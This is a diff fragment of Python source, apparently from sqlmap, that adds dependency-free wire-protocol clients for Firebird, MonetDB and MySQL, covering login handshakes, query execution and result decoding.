|
||||
# ---- query ----
|
||||
|
||||
def _query(self, query):
|
||||
try:
|
||||
return self._run(query)
|
||||
except (struct.error, IndexError, ValueError, KeyError) as ex:
|
||||
raise InterfaceError("malformed server response: %s" % ex)
|
||||
|
||||
def _run(self, query):
|
||||
qbytes = query.encode("utf-8")
|
||||
self._send(_pack_int(_op_allocate_statement) + _pack_int(self._db_handle))
|
||||
stmt = self._response()[0]
|
||||
|
||||
try:
|
||||
desc_items = bytes(bytearray([_isc_info_sql_stmt_type])) + _INFO_SQL_SELECT_DESCRIBE_VARS
|
||||
self._send(_pack_int(_op_prepare_statement) + _pack_int(self._trans_handle) + _pack_int(stmt) +
|
||||
_pack_int(3) + _pack_bytes(qbytes) + _pack_bytes(desc_items) + _pack_int(1024))
|
||||
buf = self._response()[2]
|
||||
stmt_type, columns = self._parse_describe(stmt, buf)
|
||||
|
||||
exec_msg = (_pack_int(_op_execute) + _pack_int(stmt) + _pack_int(self._trans_handle) +
|
||||
_pack_bytes(b"") + _pack_int(0) + _pack_int(0) + _pack_int(0))
|
||||
self._send(exec_msg)
|
||||
self._response()
|
||||
|
||||
description, rows = None, []
|
||||
if stmt_type == _isc_info_sql_stmt_select and columns:
|
||||
description = [(c.name, c.sqltype, None, None, None, None, None) for c in columns]
|
||||
rows = self._fetch(stmt, columns)
|
||||
finally:
|
||||
# release the server-side handle even when prepare/execute/fetch raised: a connection that
|
||||
# survives a few failed statements would otherwise hold every one of them until it detaches
|
||||
try:
|
||||
self._send(_pack_int(_op_free_statement) + _pack_int(stmt) + _pack_int(_DSQL_drop))
|
||||
self._response()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# dbwire statements are autonomous (see README), but Firebird has no auto-commit mode: everything
|
||||
# runs inside the one transaction opened at attach. Without this, DML is lost when the caller
|
||||
# closes the connection without an explicit commit(). commit-retaining makes the work durable and
|
||||
# keeps the transaction handle valid, so the connection stays usable for the next statement.
|
||||
self.commit()
|
||||
return description, rows
|
||||
|
||||
def _parse_describe(self, stmt, buf):
|
||||
stmt_type, columns = None, []
|
||||
i = 0
|
||||
while i < len(buf):
|
||||
if bytearray(buf[i:i + 3]) == bytearray([_isc_info_sql_stmt_type, 4, 0]):
|
||||
stmt_type = _le(buf[i + 3:i + 7])
|
||||
i += 7
|
||||
elif bytearray(buf[i:i + 2]) == bytearray([_isc_info_sql_select, _isc_info_sql_describe_vars]):
|
||||
i += 2
|
||||
ln = _le(buf[i:i + 2]); i += 2
|
||||
count = _le(buf[i:i + ln]); i += ln
|
||||
columns = [_Column() for _ in range(count)]
|
||||
next_index = self._parse_items(buf[i:], columns)
|
||||
while next_index > 0: # describe buffer truncated: request the remaining columns
|
||||
self._send(_pack_int(_op_info_sql) + _pack_int(stmt) + _pack_int(0) + _pack_bytes(
|
||||
bytes(bytearray([_isc_info_sql_sqlda_start, 2])) + struct.pack("<H", next_index) +
|
||||
_INFO_SQL_SELECT_DESCRIBE_VARS) + _pack_int(1024))
|
||||
more = self._response()[2]
|
||||
ln = _le(more[2:4])
|
||||
next_index = self._parse_items(more[4 + ln:], columns)
|
||||
break
|
||||
else:
|
||||
break
|
||||
return stmt_type, columns
|
||||
|
||||
def _parse_items(self, buf, columns):
|
||||
index, i = 0, 0
|
||||
buf = bytearray(buf)
|
||||
while i < len(buf):
|
||||
item = buf[i]
|
||||
if item == _isc_info_end:
|
||||
break
|
||||
if item == _isc_info_truncated:
|
||||
return index # continue from here in another round
|
||||
if item == _isc_info_sql_describe_end:
|
||||
i += 1
|
||||
continue
|
||||
ln = _le(buf[i + 1:i + 3])
|
||||
value = buf[i + 3:i + 3 + ln]
|
||||
if item == _isc_info_sql_sqlda_seq:
|
||||
index = _le(value)
|
||||
elif item == _isc_info_sql_type:
|
||||
columns[index - 1].sqltype = _le(value) & ~1
|
||||
elif item == _isc_info_sql_sub_type:
|
||||
columns[index - 1].subtype = _le(value)
|
||||
elif item == _isc_info_sql_scale:
|
||||
columns[index - 1].scale = _le_signed(value)
|
||||
elif item == _isc_info_sql_length:
|
||||
columns[index - 1].length = _le(value)
|
||||
elif item == _isc_info_sql_alias:
|
||||
columns[index - 1].name = value.decode("utf-8", "replace")
|
||||
elif item == _isc_info_sql_field and not getattr(columns[index - 1], "name", None):
|
||||
columns[index - 1].name = value.decode("utf-8", "replace")
|
||||
i += 3 + ln
|
||||
return -1
|
||||
|
||||
def _calc_blr(self, columns):
|
||||
ln = len(columns) * 2
|
||||
blr = [5, 2, 4, 0, ln & 0xff, ln >> 8]
|
||||
for c in columns:
|
||||
t = c.sqltype
|
||||
if t == _SQL_VARYING:
|
||||
blr += [37, c.length & 0xff, c.length >> 8]
|
||||
elif t == _SQL_TEXT:
|
||||
blr += [14, c.length & 0xff, c.length >> 8]
|
||||
elif t == _SQL_LONG:
|
||||
blr += [8, c.scale]
|
||||
elif t == _SQL_SHORT:
|
||||
blr += [7, c.scale]
|
||||
elif t == _SQL_INT64:
|
||||
blr += [16, c.scale]
|
||||
elif t == _SQL_INT128:
|
||||
blr += [26, c.scale]
|
||||
else:
|
||||
blr += _SQL_TYPE_BLR[t]
|
||||
blr += [7, 0]
|
||||
blr += [255, 76]
|
||||
return bytes(bytearray((256 + b) if b < 0 else b for b in blr))
|
||||
|
||||
def _fetch(self, stmt, columns):
|
||||
blr = self._calc_blr(columns)
|
||||
nbytes = (len(columns) + 7) // 8
|
||||
blob_cols = [i for i, c in enumerate(columns) if c.sqltype == _SQL_BLOB]
|
||||
rows = []
|
||||
more = True
|
||||
while more:
|
||||
self._send(_pack_int(_op_fetch) + _pack_int(stmt) + _pack_bytes(blr) + _pack_int(0) + _pack_int(400))
|
||||
op = self._wire.recv_int()
|
||||
while op == _op_dummy:
|
||||
op = self._wire.recv_int()
|
||||
if op != _op_fetch_response:
|
||||
if op == _op_response:
|
||||
_parse_response(self._wire)
|
||||
raise OperationalError("unexpected Firebird operation %d during fetch" % op)
|
||||
status = self._wire.recv_int()
|
||||
count = self._wire.recv_int()
|
||||
while count:
|
||||
null_bitmap = _le(self._wire.recv(nbytes, align=True))
|
||||
row = []
|
||||
for i, col in enumerate(columns):
|
||||
if null_bitmap & (1 << i):
|
||||
row.append(None)
|
||||
continue
|
||||
io = col.io_length()
|
||||
ln = self._wire.recv_int() if io < 0 else io
|
||||
raw = self._wire.recv(ln, align=True)
|
||||
# blob columns yield an 8-byte blob id; resolve AFTER the fetch batch is fully drained
|
||||
# (a blob sub-request mid-batch would interleave with the still-streaming rows and desync)
|
||||
row.append(raw if col.sqltype == _SQL_BLOB else self._decode(col, raw))
|
||||
rows.append(row)
|
||||
op = self._wire.recv_int()
|
||||
status = self._wire.recv_int()
|
||||
count = self._wire.recv_int()
|
||||
more = status != 100
|
||||
for i in blob_cols:
|
||||
for row in rows:
|
||||
if row[i] is not None:
|
||||
row[i] = self._read_blob(row[i], columns[i].subtype)
|
||||
return [tuple(row) for row in rows]
|
||||
|
||||
def _decode(self, col, raw):
|
||||
t = col.sqltype
|
||||
if t == _SQL_TEXT:
|
||||
return self._decode_text(raw, rstrip=True)
|
||||
if t == _SQL_VARYING:
|
||||
return self._decode_text(raw, rstrip=False)
|
||||
if t in (_SQL_SHORT, _SQL_LONG, _SQL_INT64, _SQL_INT128):
|
||||
n = _b2i_signed(raw)
|
||||
return _scaled(n, col.scale) if col.scale else str(n)
|
||||
if t == _SQL_FLOAT:
|
||||
return repr(struct.unpack("!f", raw)[0])
|
||||
if t == _SQL_DOUBLE:
|
||||
return repr(struct.unpack("!d", raw)[0])
|
||||
if t == _SQL_BOOLEAN:
|
||||
return "true" if bytearray(raw)[0] else "false"
|
||||
if t == _SQL_DATE:
|
||||
return "%s" % _decode_date(raw)
|
||||
if t == _SQL_TIME:
|
||||
return "%s" % _decode_time(raw)
|
||||
if t == _SQL_TIMESTAMP:
|
||||
return "%s %s" % (_decode_date(raw[:4]), _decode_time(raw[4:]))
|
||||
if t == _SQL_BLOB:
|
||||
return self._read_blob(raw, col.subtype)
|
||||
return raw # unknown/decimal-float type -> raw bytes (sqlmap hex-encodes)
|
||||
|
||||
def _decode_text(self, raw, rstrip):
|
||||
try:
|
||||
s = raw.decode("utf-8")
|
||||
except UnicodeDecodeError:
|
||||
return raw # OCTETS / binary text -> bytes (sqlmap hex-encodes)
|
||||
return s.rstrip(" ") if rstrip else s
|
||||
|
||||
def _read_blob(self, blob_id, subtype):
|
||||
self._send(_pack_int(_op_open_blob2) + _pack_int(0) + _pack_int(self._trans_handle) + blob_id)
|
||||
blob_handle = self._response()[0]
|
||||
data = b""
|
||||
while True:
|
||||
self._send(_pack_int(_op_get_segment) + _pack_int(blob_handle) + _pack_int(1024) + _pack_int(0))
|
||||
seg_status, _, buf = self._response()
|
||||
buf = bytearray(buf)
|
||||
j = 0
|
||||
while j < len(buf):
|
||||
seg_len = _le(buf[j:j + 2])
|
||||
data += bytes(buf[j + 2:j + 2 + seg_len])
|
||||
j += 2 + seg_len
|
||||
if seg_status == 2: # last segment
|
||||
break
|
||||
self._send(_pack_int(_op_close_blob) + _pack_int(blob_handle))
|
||||
self._response()
|
||||
if subtype == 1:
|
||||
try:
|
||||
return data.decode("utf-8")
|
||||
except UnicodeDecodeError:
|
||||
return data
|
||||
return data
|
||||
|
||||
def _uid(user, plugin, plugin_list, public_key, wire_crypt):
|
||||
def param(k, v):
|
||||
if k != _CNCT_specific_data:
|
||||
return bytes(bytearray([k, len(v)])) + v
|
||||
out, i = b"", 0
|
||||
while len(v) > 254:
|
||||
out += bytes(bytearray([k, 255, i])) + v[:254]
|
||||
v = v[254:]
|
||||
i += 1
|
||||
return out + bytes(bytearray([k, len(v) + 1, i])) + v
|
||||
|
||||
try:
|
||||
os_user = os.environ.get("USER", "") or os.environ.get("USERNAME", "")
|
||||
except Exception:
|
||||
os_user = ""
|
||||
specific = _hex(_minbe(public_key))
|
||||
r = param(_CNCT_login, user.encode("utf-8"))
|
||||
r += param(_CNCT_plugin_name, plugin)
|
||||
r += param(_CNCT_plugin_list, plugin_list)
|
||||
r += param(_CNCT_specific_data, specific)
|
||||
r += param(_CNCT_client_crypt, b"\x01\x00\x00\x00" if wire_crypt else b"\x00\x00\x00\x00")
|
||||
r += param(_CNCT_user, os_user.encode("utf-8"))
|
||||
r += param(_CNCT_host, socket.gethostname().encode("utf-8", "replace"))
|
||||
r += param(_CNCT_user_verification, b"")
|
||||
return r
|
||||
|
||||
def _hex(b):
|
||||
return "".join("%02x" % c for c in bytearray(b)).encode("ascii")
|
||||
|
||||
# protocol version tuples (version, arch=Generic 1, min_type=0, max_type=batch_send 3, weight); max_type is
|
||||
# deliberately capped at 3 (not lazy_send 5) so every operation gets an immediate response (no deferred handles)
|
||||
_PROTOCOLS = ("0000000a00000001000000000000000300000002",
|
||||
"ffff800b00000001000000000000000300000004",
|
||||
"ffff800c00000001000000000000000300000006",
|
||||
"ffff800d00000001000000000000000300000008",
|
||||
"ffff800e0000000100000000000000030000000a",
|
||||
"ffff800f0000000100000000000000030000000c",
|
||||
"ffff80100000000100000000000000030000000e",
|
||||
"ffff801100000001000000000000000300000010")
|
||||
|
||||
def connect(host=None, port=3050, user=None, password=None, database=None, connect_timeout=None, **kwargs):
|
||||
user = user or "SYSDBA"
|
||||
password = password or ""
|
||||
filename = (database or "").encode("utf-8")
|
||||
plugin, plugin_list = b"Srp256", b"Srp256,Srp,Legacy_Auth"
|
||||
|
||||
try:
|
||||
sock = socket.create_connection((host or "localhost", int(port or 3050)), timeout=connect_timeout)
|
||||
keepalive(sock)
|
||||
except (socket.error, socket.timeout) as ex:
|
||||
raise OperationalError("could not connect to '%s:%s' (%s)" % (host, port, ex))
|
||||
|
||||
wire = _Wire(sock)
|
||||
try:
|
||||
public_key, private_key = _srp_client_seed()
|
||||
packet = (_pack_int(_op_connect) + _pack_int(_op_attach) + _pack_int(3) + _pack_int(1) +
|
||||
_pack_bytes(filename) + _pack_int(len(_PROTOCOLS)) +
|
||||
_pack_bytes(_uid(user, plugin, plugin_list, public_key, True)))
|
||||
for p in _PROTOCOLS:
|
||||
packet += _unhex(p)
|
||||
wire.send(packet)
|
||||
|
||||
_authenticate(wire, user, password, public_key, private_key)
|
||||
connection = Connection(wire, filename, user, password)
|
||||
_attach(connection, wire, user)
|
||||
handshake_done(sock)
|
||||
except (DatabaseError, InterfaceError):
|
||||
wire.close()
|
||||
raise
|
||||
except Exception as ex:
|
||||
wire.close()
|
||||
raise OperationalError("Firebird login failed (%s)" % ex)
|
||||
return connection
|
||||
|
||||
def _unhex(s):
|
||||
return bytes(bytearray(int(s[i:i + 2], 16) for i in range(0, len(s), 2)))
|
||||
|
||||
def _normalize_user(user):
|
||||
if len(user) >= 2 and user[0] == '"' and user[-1] == '"':
|
||||
return user[1:-1].replace('""', '"')
|
||||
return user.upper()
|
||||
|
||||
def _authenticate(wire, user, password, public_key, private_key):
|
||||
op = wire.recv_int()
|
||||
while op == _op_dummy:
|
||||
op = wire.recv_int()
|
||||
if op == _op_reject:
|
||||
raise OperationalError("Firebird connection rejected")
|
||||
if op == _op_response:
|
||||
_parse_response(wire) # will raise the server error
|
||||
raise OperationalError("Firebird connection rejected")
|
||||
|
||||
wire.recv(12) # accept block: protocol version / architecture / type (not needed once lazy-send is off)
|
||||
if op == _op_accept:
|
||||
return b"" # plaintext, no encryption negotiated
|
||||
|
||||
data = wire.recv_bytes()
|
||||
plugin_name = wire.recv_bytes()
|
||||
wire.recv_int() # is_authenticated
|
||||
wire.recv_bytes() # keys
|
||||
if plugin_name not in (b"Srp256", b"Srp"):
|
||||
raise NotSupportedError("unsupported Firebird auth plugin %r" % plugin_name)
|
||||
if not data:
|
||||
raise OperationalError("Firebird server sent no SRP challenge")
|
||||
|
||||
salt_len = _le(data[:2])
|
||||
salt = data[2:2 + salt_len]
|
||||
# the server sends B as a hex integer, dropping a leading zero nibble when its top nibble is 0 (odd-length
|
||||
# hex ~5% of the time) - parse it as an integer, which is length-agnostic (byte-pairing would corrupt it)
|
||||
server_public = int(data[4 + salt_len:].decode("ascii"), 16)
|
||||
hash_algo = hashlib.sha256 if plugin_name == b"Srp256" else hashlib.sha1
|
||||
proof, session_key = _srp_client_proof(_normalize_user(user).encode("utf-8"),
|
||||
password.encode("utf-8"), salt,
|
||||
public_key, server_public, private_key, hash_algo)
|
||||
|
||||
wire.send(_pack_int(_op_cont_auth) + _pack_bytes(_hex(proof)) + _pack_bytes(plugin_name) +
|
||||
_pack_bytes(b"Srp256,Srp,Legacy_Auth") + _pack_bytes(b""))
|
||||
buf = _read_response(wire, user, password)
|
||||
|
||||
enc_plugin, nonce = _guess_wire_crypt(buf)
|
||||
if not (enc_plugin and session_key):
|
||||
raise NotSupportedError("Firebird server did not offer a supported wire-crypt plugin")
|
||||
wire.send(_pack_int(_op_crypt) + _pack_bytes(enc_plugin) + _pack_bytes(b"Symmetric"))
|
||||
if enc_plugin in (b"ChaCha", b"ChaCha64"):
|
||||
k = hashlib.sha256(session_key).digest()
|
||||
wire.set_ciphers(_ChaCha20(k, nonce), _ChaCha20(k, nonce))
|
||||
elif enc_plugin == b"Arc4":
|
||||
wire.set_ciphers(_ARC4(session_key), _ARC4(session_key))
|
||||
else:
|
||||
raise NotSupportedError("unsupported Firebird wire-crypt plugin %r" % enc_plugin)
|
||||
_read_response(wire, user, password) # first encrypted message
|
||||
return session_key
|
||||
|
||||
def _read_response(wire, user, password):
|
||||
# a bare op_response reader used during the login handshake (before a Connection exists)
|
||||
op = wire.recv_int()
|
||||
while op == _op_dummy:
|
||||
op = wire.recv_int()
|
||||
if op == _op_cont_auth:
|
||||
raise OperationalError("Firebird authentication failed")
|
||||
if op != _op_response:
|
||||
raise OperationalError("unexpected Firebird operation %d during login" % op)
|
||||
return _parse_response(wire)[2]
|
||||
|
||||
def _attach(connection, wire, user):
|
||||
dpb = bytearray([_isc_dpb_version1])
|
||||
dpb += bytearray([_isc_dpb_lc_ctype, 4]) + bytearray(b"UTF8")
|
||||
ub = user.encode("utf-8")
|
||||
dpb += bytearray([_isc_dpb_user_name, len(ub)]) + bytearray(ub)
|
||||
dpb += bytearray([_isc_dpb_process_id, 4]) + bytearray(struct.pack("<i", os.getpid() & 0x7fffffff))
|
||||
name = b"sqlmap"
|
||||
dpb += bytearray([_isc_dpb_process_name, len(name)]) + bytearray(name)
|
||||
wire.send(_pack_int(_op_attach) + _pack_int(0) + _pack_bytes(connection._filename) + _pack_bytes(bytes(dpb)))
|
||||
connection._db_handle = connection._response()[0]
|
||||
|
||||
tpb = bytes(bytearray([_isc_tpb_version3, _isc_tpb_write, _isc_tpb_wait,
|
||||
_isc_tpb_read_committed, _isc_tpb_rec_version]))
|
||||
wire.send(_pack_int(_op_transaction) + _pack_int(connection._db_handle) + _pack_bytes(tpb))
|
||||
connection._trans_handle = connection._response()[0]
|
||||
@@ -0,0 +1,240 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
"""
|
||||
Minimal pure-python MonetDB MAPI client (stdlib only, no pymonetdb).
|
||||
|
||||
MAPI is a block-framed text protocol: a 2-byte little-endian header (length << 1 | last-flag) wraps each
|
||||
block; login is a colon-separated challenge/response with a chosen password hash; queries are sent with an
|
||||
's' prefix and results come back as '&' headers, '%' metadata and '[' tuples. Paging is disabled up front
|
||||
(Xreply_size -1) so a whole result set arrives at once.
|
||||
"""
|
||||
|
||||
import hashlib
|
||||
import re
|
||||
import socket
|
||||
import struct
|
||||
|
||||
from extra.dbwire import InterfaceError
|
||||
from extra.dbwire import NotSupportedError
|
||||
from extra.dbwire import OperationalError
|
||||
from extra.dbwire import connection_lost
|
||||
from extra.dbwire import handshake_done
|
||||
from extra.dbwire import keepalive
|
||||
from extra.dbwire import recvn
|
||||
from extra.dbwire import ProgrammingError
|
||||
|
||||
_MAX_BLOCK = 0xffff >> 1
|
||||
_MAX_MESSAGE_LENGTH = 0x40000000 # cap on a (re-assembled) response, to bound a hostile/corrupt stream
|
||||
|
||||
def _getblock(sock):
|
||||
# the block length is a 15-bit field, so bounding IT is pointless - a peer that never sets the last-flag
|
||||
# simply streams blocks forever. Bound the accumulated response instead (as the other wire modules do).
|
||||
chunks, total = [], 0
|
||||
while True:
|
||||
(header,) = struct.unpack("<H", recvn(sock, 2))
|
||||
length, last = header >> 1, header & 1
|
||||
total += length
|
||||
if total > _MAX_MESSAGE_LENGTH:
|
||||
raise InterfaceError("backend message too large (%d bytes)" % total)
|
||||
chunks.append(recvn(sock, length))
|
||||
if last:
|
||||
break
|
||||
return b"".join(chunks).decode("utf-8", "replace")
|
||||
|
||||
def _putblock(sock, text):
|
||||
data = text.encode("utf-8")
|
||||
off = 0
|
||||
while True:
|
||||
chunk = data[off:off + _MAX_BLOCK]
|
||||
off += _MAX_BLOCK
|
||||
last = off >= len(data)
|
||||
try:
|
||||
sock.sendall(struct.pack("<H", (len(chunk) << 1) | (1 if last else 0)) + chunk)
|
||||
except (socket.error, OSError) as ex:
|
||||
raise connection_lost(ex)
|
||||
if last:
|
||||
break
|
||||
|
||||
def _challenge_response(challenge, user, password, database):
|
||||
parts = challenge.split(":")
|
||||
if len(parts) < 7 or parts[-1] != "":
|
||||
raise OperationalError("invalid MonetDB challenge")
|
||||
salt, server_type, protocol, hashes = parts[0], parts[1], parts[2], parts[3]
|
||||
if protocol != "9":
|
||||
raise NotSupportedError("only MAPI protocol v9 is supported")
|
||||
if server_type == "merovingian": # proxy stage: authenticate as merovingian, real creds go to the mserver
|
||||
user, password = "merovingian", ""
|
||||
pwalgo = parts[5]
|
||||
try:
|
||||
password = hashlib.new(pwalgo, password.encode("utf-8")).hexdigest()
|
||||
except ValueError:
|
||||
raise NotSupportedError("unsupported MonetDB password algorithm: %s" % pwalgo)
|
||||
pwhash = None
|
||||
for algo in hashes.split(","):
|
||||
try:
|
||||
h = hashlib.new(algo)
|
||||
except ValueError:
|
||||
continue
|
||||
h.update(password.encode("utf-8"))
|
||||
h.update(salt.encode("utf-8"))
|
||||
pwhash = "{%s}%s" % (algo, h.hexdigest())
|
||||
break
|
||||
if pwhash is None:
|
||||
raise NotSupportedError("no supported MonetDB password hash in: %s" % hashes)
|
||||
return ":".join(["BIG", user, pwhash, "sql", database or ""]) + ":"
|
||||
|
||||
def _unquote(value):
|
||||
if value == "NULL":
|
||||
return None
|
||||
if len(value) >= 2 and value[0] == '"' and value[-1] == '"':
|
||||
body = value[1:-1]
|
||||
if "\\" not in body:
|
||||
return body
|
||||
# MonetDB renders control bytes as C octal escapes (\ooo) etc.; decode with unicode_escape but only
|
||||
# on the ASCII runs so raw multibyte (> 0x7f) is preserved (mirrors pymonetdb's result decoding)
|
||||
return "".join(seg.encode("utf-8").decode("unicode_escape") if "\\" in seg else seg
|
||||
for seg in re.split(r"([\x00-\x7f]+)", body))
|
||||
return value
|
||||
|
||||
def _parse_result(text):
|
||||
description, rows = None, []
|
||||
for line in text.split("\n"):
|
||||
if not line:
|
||||
continue
|
||||
marker = line[0]
|
||||
if marker == "!": # error
|
||||
raise ProgrammingError("(remote) %s" % line[1:].strip())
|
||||
elif marker == "%": # metadata: "<values> # <kind>"
|
||||
payload, _, kind = line[1:].rpartition("#")
|
||||
if kind.strip() == "name":
|
||||
description = [(name.strip(), None, None, None, None, None, None) for name in payload.split(",\t")]
|
||||
elif marker == "[": # tuple: "[ v1,\tv2,\t... ]"
|
||||
body = line.strip()
|
||||
if body.startswith("[") and body.endswith("]"):
|
||||
body = body[1:-1].strip()
|
||||
rows.append(tuple(_unquote(v.strip()) for v in body.split(",\t")))
|
||||
# "&" result headers, "#" info, "=" no-slice tuples are ignored for our purposes
|
||||
return description, rows
|
||||
|
||||
class Cursor(object):
|
||||
def __init__(self, connection):
|
||||
self.connection = connection
|
||||
self.description = None
|
||||
self.rowcount = -1
|
||||
self._rows = []
|
||||
self._pos = 0
|
||||
|
||||
def execute(self, query, params=None):
|
||||
if params is not None:
|
||||
raise NotSupportedError("parameter binding is not supported; pass a fully-formed query string")
|
||||
self.description, self.rowcount, self._rows, self._pos = None, -1, [], 0
|
||||
self.description, self._rows = self.connection._query(query)
|
||||
self.rowcount = len(self._rows)
|
||||
return self
|
||||
|
||||
def fetchall(self):
|
||||
retVal = self._rows[self._pos:]
|
||||
self._pos = len(self._rows)
|
||||
return retVal
|
||||
|
||||
def fetchone(self):
|
||||
if self._pos >= len(self._rows):
|
||||
return None
|
||||
retVal = self._rows[self._pos]
|
||||
self._pos += 1
|
||||
return retVal
|
||||
|
||||
def close(self):
|
||||
self._rows = []
|
||||
|
||||
class Connection(object):
|
||||
def __init__(self, sock):
|
||||
self._sock = sock
|
||||
|
||||
def cursor(self):
|
||||
return Cursor(self)
|
||||
|
||||
def commit(self):
|
||||
pass # sqlmap runs autonomous statements; MonetDB SQL is auto-committed unless a transaction is opened
|
||||
|
||||
def rollback(self):
|
||||
pass
|
||||
|
||||
def close(self):
|
||||
try:
|
||||
self._sock.close()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def _command(self, text):
|
||||
_putblock(self._sock, text)
|
||||
reply = _getblock(self._sock)
|
||||
if reply.startswith("!"):
|
||||
raise OperationalError("(remote) %s" % reply[1:].strip())
|
||||
|
||||
def _query(self, query):
|
||||
try:
|
||||
_putblock(self._sock, "s" + query + ";\n")
|
||||
return _parse_result(_getblock(self._sock))
|
||||
except (socket.error, socket.timeout) as ex:
|
||||
raise OperationalError("connection error: %s" % ex)
|
||||
except (struct.error, IndexError, ValueError) as ex:
|
||||
raise InterfaceError("malformed server response: %s" % ex)
|
||||
|
||||
def connect(host=None, port=50000, user=None, password=None, database=None, connect_timeout=None, **kwargs):
|
||||
host, port = host or "localhost", int(port or 50000)
|
||||
try:
|
||||
sock = socket.create_connection((host, port), timeout=connect_timeout)
|
||||
keepalive(sock)
|
||||
except (socket.error, socket.timeout) as ex:
|
||||
raise OperationalError("could not connect to '%s:%s' (%s)" % (host, port, ex))
|
||||
|
||||
try:
|
||||
for _ in range(10): # bounded: merovingian proxy stage + optional redirect + mserver challenge
|
||||
block = _getblock(sock)
|
||||
if block == "": # login accepted
|
||||
break
|
||||
if block[0] == "^": # redirect
|
||||
url = block[1:].strip()
|
||||
m = re.match(r"mapi:monetdb://([^:/]+):(\d+)/(\S*)", url)
|
||||
if m and (m.group(1) != host or int(m.group(2)) != port):
|
||||
sock.close()
|
||||
host, port, database = m.group(1), int(m.group(2)), m.group(3) or database
|
||||
sock = socket.create_connection((host, port), timeout=connect_timeout)
|
||||
keepalive(sock)
|
||||
continue # merovingian proxy redirect: keep reading the next challenge on this socket
|
||||
if block[0] == "!":
|
||||
raise OperationalError("(remote) %s" % block[1:].strip())
|
||||
_putblock(sock, _challenge_response(block, user, password, database))
|
||||
else:
|
||||
raise OperationalError("MonetDB login did not converge")
|
||||
except (OperationalError, NotSupportedError, InterfaceError):
|
||||
try:
|
||||
sock.close()
|
||||
except Exception:
|
||||
pass
|
||||
raise
|
||||
except (socket.error, socket.timeout) as ex: # I/O error during the login/redirect exchange
|
||||
try:
|
||||
sock.close()
|
||||
except Exception:
|
||||
pass
|
||||
raise OperationalError("connection error: %s" % ex)
|
||||
|
||||
connection = Connection(sock)
|
||||
try:
|
||||
connection._command("Xreply_size -1\n") # disable row paging so a whole result set is returned at once
|
||||
except (socket.error, socket.timeout) as ex:
|
||||
connection.close()
|
||||
raise OperationalError("connection error: %s" % ex)
|
||||
except Exception: # e.g. connection_lost() out of _putblock/_getblock: the socket is still ours to close
|
||||
connection.close()
|
||||
raise
|
||||
|
||||
handshake_done(sock)
|
||||
return connection
|
||||
@@ -0,0 +1,372 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
"""
|
||||
Minimal pure-python MySQL client/server protocol client (stdlib only).
|
||||
|
||||
Covers the whole MySQL-wire family (MySQL, MariaDB, TiDB, Aurora-MySQL, Percona, ...). Auth:
|
||||
mysql_native_password (full), plus caching_sha2_password fast path; caching_sha2 *full* auth over a
|
||||
plaintext connection needs RSA (not in the stdlib), so that case raises a clean NotSupportedError - use a
|
||||
mysql_native_password account (as MariaDB/TiDB default to) for the dependency-free path.
|
||||
"""
|
||||
|
||||
import hashlib
|
||||
import socket
|
||||
import struct
|
||||
|
||||
from extra.dbwire import DatabaseError
|
||||
from extra.dbwire import InterfaceError
|
||||
from extra.dbwire import NotSupportedError
|
||||
from extra.dbwire import OperationalError
|
||||
from extra.dbwire import connection_lost
|
||||
from extra.dbwire import handshake_done
|
||||
from extra.dbwire import keepalive
|
||||
from extra.dbwire import recvn
|
||||
from extra.dbwire import ProgrammingError
|
||||
|
||||
# capability flags
|
||||
_CLIENT_LONG_PASSWORD = 0x00000001
|
||||
_CLIENT_LONG_FLAG = 0x00000004
|
||||
_CLIENT_CONNECT_WITH_DB = 0x00000008
|
||||
_CLIENT_PROTOCOL_41 = 0x00000200
|
||||
_CLIENT_TRANSACTIONS = 0x00002000
|
||||
_CLIENT_SECURE_CONNECTION = 0x00008000
|
||||
_CLIENT_PLUGIN_AUTH = 0x00080000
|
||||
|
||||
_MAX_PACKET = 0x1000000
|
||||
_MAX_MESSAGE_LENGTH = 0x40000000 # cap on a (re-assembled) payload, to bound a hostile/corrupt stream
|
||||
_BINARY_CHARSET = 63 # collation id 63 == 'binary'
|
||||
# field types for which charset==63 genuinely denotes raw bytes (BLOB/BINARY/VARBINARY/GEOMETRY family).
|
||||
# Numeric & temporal columns ALSO report charset 63 in the text protocol, but carry their ASCII text form -
|
||||
# they must be decoded, not returned as bytes (else -d hexifies e.g. the int 12345 to '3132333435').
|
||||
_BINARY_TYPES = frozenset((15, 249, 250, 251, 252, 253, 254, 255)) # VARCHAR,*BLOB,VAR_STRING,STRING,GEOMETRY
|
||||
_TYPE_BIT = 16 # BIT reports charset 63 but is decoded to a big-endian integer (matches SQLAlchemy/mysql-connector)
|
||||
|
||||
def _xor(a, b):
|
||||
if str is bytes: # Python 2
|
||||
return b"".join(chr(ord(x) ^ ord(y)) for x, y in zip(a, b))
|
||||
return bytes(x ^ y for x, y in zip(a, b))
|
||||
|
||||
def _u8(data, off):
|
||||
return struct.unpack("<B", data[off:off + 1])[0]
|
||||
|
||||
def _u16(data, off):
|
||||
return struct.unpack("<H", data[off:off + 2])[0]
|
||||
|
||||
def _cstring(data, off):
|
||||
# NUL-terminated string, tolerant of a missing terminator (returns the remainder)
|
||||
end = data.find(b"\x00", off)
|
||||
if end == -1:
|
||||
return data[off:], len(data)
|
||||
return data[off:end], end + 1
|
||||
|
||||
def _read_packet(sock):
|
||||
header = recvn(sock, 4)
|
||||
length = struct.unpack("<I", header[0:3] + b"\x00")[0]
|
||||
seq = _u8(header, 3)
|
||||
payload = recvn(sock, length)
|
||||
total = length
|
||||
while length == 0xffffff: # payload continues in the next packet
|
||||
header = recvn(sock, 4)
|
||||
length = struct.unpack("<I", header[0:3] + b"\x00")[0]
|
||||
total += length
|
||||
if total > _MAX_MESSAGE_LENGTH:
|
||||
raise InterfaceError("backend message too large (%d bytes)" % total)
|
||||
payload += recvn(sock, length)
|
||||
return seq, payload
|
||||
|
||||
def _send_packet(sock, seq, payload):
|
||||
while True: # split payloads >= 16 MB into 0xffffff-sized packets (with a trailing short packet)
|
||||
chunk = payload[:0xffffff]
|
||||
try:
|
||||
sock.sendall(struct.pack("<I", len(chunk))[0:3] + struct.pack("<B", seq & 0xff) + chunk)
|
||||
except (socket.error, OSError) as ex:
|
||||
raise connection_lost(ex)
|
